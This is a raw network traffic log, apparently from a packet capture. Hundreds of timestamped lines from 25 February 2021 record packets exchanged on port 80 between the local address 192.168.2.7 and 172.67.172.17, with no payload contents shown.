Feb 25, 2021 15:15:49.444636106 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444654942 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444654942 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.444669962 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444689035 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444691896 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.444713116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444730043 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444731951 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.444744110 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444789886 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.445310116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445346117 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445369005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445403099 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445425987 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445429087 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.445441961 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445466042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445483923 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445499897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445525885 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445540905 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445549011 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.445558071 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445688009 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.445950985 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.445976019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446000099 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446006060 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.446017981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446043015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446053982 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446074963 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446095943 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.446095943 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446120024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446132898 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.446141005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446156025 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446171045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446185112 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.446186066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446204901 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446221113 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446234941 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.446238041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446253061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446268082 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446286917 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.446324110 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.446902037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446930885 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446942091 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446960926 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.446969986 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.446986914 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447010040 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447029114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447047949 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447051048 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.447072983 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447084904 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.447094917 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447114944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447134972 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447151899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447166920 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447177887 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.447182894 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447197914 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447216034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447232962 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.447232962 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447253942 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.447838068 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447860956 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447881937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447890043 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.447895050 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447920084 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447935104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447949886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447973013 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.447974920 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.447993994 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448014975 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448031902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448039055 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448050976 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448065042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448067904 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448084116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448098898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448107004 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448116064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448122978 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448131084 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448147058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448165894 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448196888 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448816061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448836088 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448858023 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448868036 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448879957 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448904037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448909998 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448924065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448946953 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448957920 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.448975086 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448986053 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.448995113 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.449008942 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449026108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449037075 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.449040890 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449057102 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449074984 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449090958 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449100971 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.449107885 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449124098 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449127913 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.449140072 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449171066 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.449192047 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.449789047 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449811935 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449832916 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449856997 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449862003 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.449886084 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449908018 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449935913 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449944019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449956894 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449960947 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.449974060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.449989080 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450004101 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450009108 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.450016022 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450031042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450047016 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450061083 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450063944 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.450077057 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450092077 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450129986 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.450642109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450660944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450675964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450697899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450717926 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450735092 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.450738907 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450761080 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450781107 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.450783968 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450803041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450817108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450818062 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.450834036 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450845957 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.450849056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.450871944 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.451288939 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451312065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451342106 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451363087 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451364040 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.451383114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451406956 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451414108 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.451431036 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451442957 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.451452017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451479912 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451487064 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.451498985 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451520920 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451531887 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.451539040 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451560974 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451561928 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.451575994 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451591969 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451607943 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451626062 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451626062 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.451642990 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.451680899 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452230930 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452256918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452285051 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452290058 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452313900 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452336073 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452337027 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452356100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452377081 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452383041 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452399015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452416897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452419996 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452433109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452451944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452465057 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452467918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452491045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452492952 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452506065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452528954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452544928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452544928 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452558994 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452574015 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.452578068 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.452610016 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453159094 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453187943 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453212023 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453239918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453246117 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453269958 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453289032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453294039 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453305960 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453320980 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453327894 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453336954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453352928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453361034 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453373909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453397989 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453401089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453444958 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453800917 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453825951 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453849077 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453859091 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453872919 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453896999 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453910112 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453921080 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453942060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453963041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453967094 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.453984976 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.453991890 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454001904 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454018116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454027891 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454039097 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454055071 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454077005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454078913 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454092979 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454109907 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454123974 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454124928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454142094 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454154968 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454773903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454802036 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454818964 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454824924 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454845905 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454849958 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454866886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454889059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454912901 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454919100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454941988 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454952955 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454957008 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454972029 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.454972982 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.454988956 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455007076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455009937 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455023050 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455035925 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455039024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455054045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455070019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455070019 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455085039 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455100060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455101967 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455122948 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455681086 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455703020 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455724955 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455744028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455761909 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455765963 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455787897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455810070 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455811977 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455828905 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455833912 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455848932 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455856085 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455866098 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455882072 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455892086 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.455897093 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.455935001 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456482887 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456509113 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456532001 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456536055 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456553936 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456578016 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456585884 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456599951 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456621885 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456624031 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456644058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456660032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456675053 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456677914 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456691027 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456706047 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456715107 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456724882 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456742048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456742048 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456757069 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456764936 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456773043 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456787109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.456804991 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.456844091 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.457195044 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457226992 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.457267046 CET	80	49730	172.67.172.17	192.168.2.7
